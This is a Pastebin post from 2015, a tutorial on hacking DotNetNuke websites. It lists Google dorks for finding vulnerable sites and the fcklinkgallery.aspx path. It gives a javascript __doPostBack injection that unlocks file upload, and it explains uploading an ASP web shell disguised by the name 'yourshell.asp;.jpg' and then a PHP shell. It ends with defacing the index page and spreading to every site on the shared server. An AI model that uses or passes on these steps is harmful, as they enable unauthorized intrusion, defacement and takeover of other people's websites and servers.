Kyfx

DNN ( DotNetNuke ) Website Hacking

Oct 30th, 2015
255
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.54 KB | None | 0 0
  1. How To Hack Websites Using DotNetNuke Exploit + Shell Uploading
  2. Hello everyone!! Previously we have discussed about "How to Hack Website Using Havij SQL Injection". Today,I am going to tell about one more very usefull but old method which you can used to hack website using Dot net nuke(DNN) exploit. I know some of you know about this method DNN but it is very good exploit to hack dot net sites. B
  3. y using this DNN exploit, you can even hack all sites which are hosted on same server. Also you can upload any file using it. It is easy method as compared to other hacking attacks such as SQL-Injection and Cross Site Scripting etc.
  4. What is DNN (Dot Net Nuke) ?
  5. DotNetNuke is an open source platform for building web sites based on Microsoft .NET technology. DotNetNuke is mainly provide Content Management System(CMS) for the personal websites.
  6. Step 1: First go to google.com search page and use this following dork to find vulnerable site.
  7. inurl:home/tabid/36/language/en-US/Default.aspx
  8. another dorks you can use
  9. inurl:fcklinkgallery.aspx
  10. inurl:/portals/0
  11. Step 2: Now open any site from the search list like
  12. http://www.vulsite.com/…/tab…/36/language/en-US/Default.aspx
  13. Now replace "home/tabid/36/language/en-US/Default.aspx" with Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
  14. so your url will become
  15. http://www.vulsite.com/…/HtmlEditor…/Fck/fcklinkgallery.aspx
  16. then hit enter
  17. Step 3: Now there are 2 possibilities
  18. if u get Link Gallery url select then site is not vulnerable , see the image below :
  19. http://1.bp.blogspot.com/…/nGf…/s1600/website%2Bhacking1.jpg
  20. and If you get Like shown in below image then target is vulnerable :
  21. http://3.bp.blogspot.com/…/r3g…/s1600/website%2Bhacking2.jpg
  22. ok now if you find a vulnerable site move to next step
  23. Step 4: Now you can see 3 options there and we neeed to select “File in your site”.
  24. http://3.bp.blogspot.com/…/29B…/s1600/website%2Bhacking3.jpg
  25. Step 5: Now after selecting 3 options, we need to use a javascript code. For that we need to use that browser which supports javascript. So i use Opera Mini .
  26. Before using javascript, first we need to choose file location as root, after that clear everything written on browser url and paste the below javascript only.
  27. javascript:__doPostBack('ctlURL$cmdUpload','')
  28. Step 6: After inject the above javascript code in browser address bar, you will get upload option instead of selection option.
  29. http://2.bp.blogspot.com/…/dOg…/s1600/website%2Bhacking4.jpg
  30. Step 7: Now you have to upload your shell.
  31. Note : But remember you cant upload your shell directly in .php format and not even you can do anything by uploading .php.jpg
  32. So for this purpose first we need to upload a special type of shell which is specially coded in asp.
  33. Download the shell :- goto www.sh3ll.org .
  34. Now rename your asp shell to
  35. yourshell.asp;.jpg
  36. and upload it.
  37. After uploading you can access your ASP shell by going to this address,
  38. http://www.vulsite.com/portals/0/yourshell.asp;.jpg
  39. http://4.bp.blogspot.com/…/crr…/s1600/website%2Bhacking0.jpg
  40. Step 8: Now upload your php shell using upload file option marked in above image.
  41. After uploading php shell you can access it by going to this address,
  42. http://www.vulsite.com/portals/0/yourphpshell.php
  43. Step 9: Now replace your index.html with original index.html. Thats it.
  44. Well you can also hack all sites which are hosted on same server.
  45. For that follow the bellow image and click on Drives you will find all sites hosted on same server.
  46. Click on any one site and follow the above process to upload you shell.
  47. Happy website hacking!!!
Add Comment
Please, Sign In to add comment